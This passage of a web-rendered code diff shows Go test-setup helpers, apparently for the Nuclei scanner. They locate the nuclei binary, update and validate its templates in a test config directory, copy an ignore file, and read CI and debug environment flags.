if trimmed := strings.TrimSpace(configuredPath); trimmed != "" {
|
||||
if resolved, ok := resolveExistingBinaryPath(trimmed); ok {
|
||||
return resolved, nil
|
||||
}
|
||||
}
|
||||
for _, candidate := range candidateExecutableNames(executableName) {
|
||||
resolved, err := exec.LookPath(candidate)
|
||||
if err == nil {
|
||||
return resolved, nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("could not locate %s on PATH", executableName)
|
||||
}
|
||||
|
||||
func resolveExistingBinaryPath(candidate string) (string, bool) {
|
||||
trimmed := strings.Trim(strings.TrimSpace(candidate), `"'`)
|
||||
if trimmed == "" {
|
||||
return "", false
|
||||
}
|
||||
|
||||
for _, pathCandidate := range candidateExecutableNames(trimmed) {
|
||||
absolutePath, err := filepath.Abs(pathCandidate)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
info, statErr := os.Stat(absolutePath)
|
||||
if statErr == nil && !info.IsDir() {
|
||||
return absolutePath, true
|
||||
}
|
||||
}
|
||||
|
||||
for _, pathCandidate := range candidateExecutableNames(trimmed) {
|
||||
resolved, err := exec.LookPath(pathCandidate)
|
||||
if err == nil {
|
||||
return resolved, true
|
||||
}
|
||||
}
|
||||
|
||||
return "", false
|
||||
}
|
||||
|
||||
func candidateExecutableNames(name string) []string {
|
||||
trimmed := strings.Trim(strings.TrimSpace(name), `"'`)
|
||||
if trimmed == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
candidates := []string{trimmed}
|
||||
if runtime.GOOS == "windows" && filepath.Ext(trimmed) == "" {
|
||||
candidates = append(candidates, trimmed+".exe")
|
||||
}
|
||||
return candidates
|
||||
}
|
||||
|
||||
func prepareFunctionalEnvironment(binaryPath, repoRoot, configDir string) error {
|
||||
templatesDir := filepath.Join(configDir, "templates")
|
||||
for _, args := range [][]string{{"-update-templates"}, {"-validate"}} {
|
||||
cmd := exec.Command(binaryPath, args...)
|
||||
cmd.Dir = repoRoot
|
||||
cmd.Env = append(os.Environ(),
|
||||
"NUCLEI_CONFIG_DIR="+configDir,
|
||||
"NUCLEI_TEMPLATES_DIR="+templatesDir,
|
||||
"XDG_STATE_HOME="+filepath.Join(configDir, "state"),
|
||||
"XDG_CACHE_HOME="+filepath.Join(configDir, "cache"),
|
||||
)
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("functional setup command %v failed: %w\n%s", args, err, strings.TrimSpace(string(output)))
|
||||
}
|
||||
}
|
||||
|
||||
ignoreFile, err := os.ReadFile(filepath.Join(templatesDir, ".nuclei-ignore"))
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to read functional ignore file: %w", err)
|
||||
}
|
||||
|
||||
if err := os.WriteFile(filepath.Join(configDir, ".nuclei-ignore"), ignoreFile, 0o600); err != nil {
|
||||
return fmt.Errorf("failed to write legacy functional ignore file: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func binaryName() string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return "nuclei.exe"
|
||||
}
|
||||
return "nuclei"
|
||||
}
|
||||
|
||||
func isCI() bool {
|
||||
value := strings.ToLower(strings.TrimSpace(os.Getenv("CI")))
|
||||
return value == "true" || value == "1"
|
||||
}
|
||||
|
||||
func isDebugMode() bool {
|
||||
for _, envVar := range []string{"DEBUG", "ACTIONS_STEP_DEBUG", "ACTIONS_RUNNER_DEBUG", "RUNNER_DEBUG"} {
|
||||
if envTruthy(envVar) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func envTruthy(name string) bool {
|
||||
value := strings.ToLower(strings.TrimSpace(os.Getenv(name)))
|
||||
switch value {
|
||||
case "true", "1", "yes", "on", "enabled":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
File renamed without changes.
Loaded 100 of 981 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user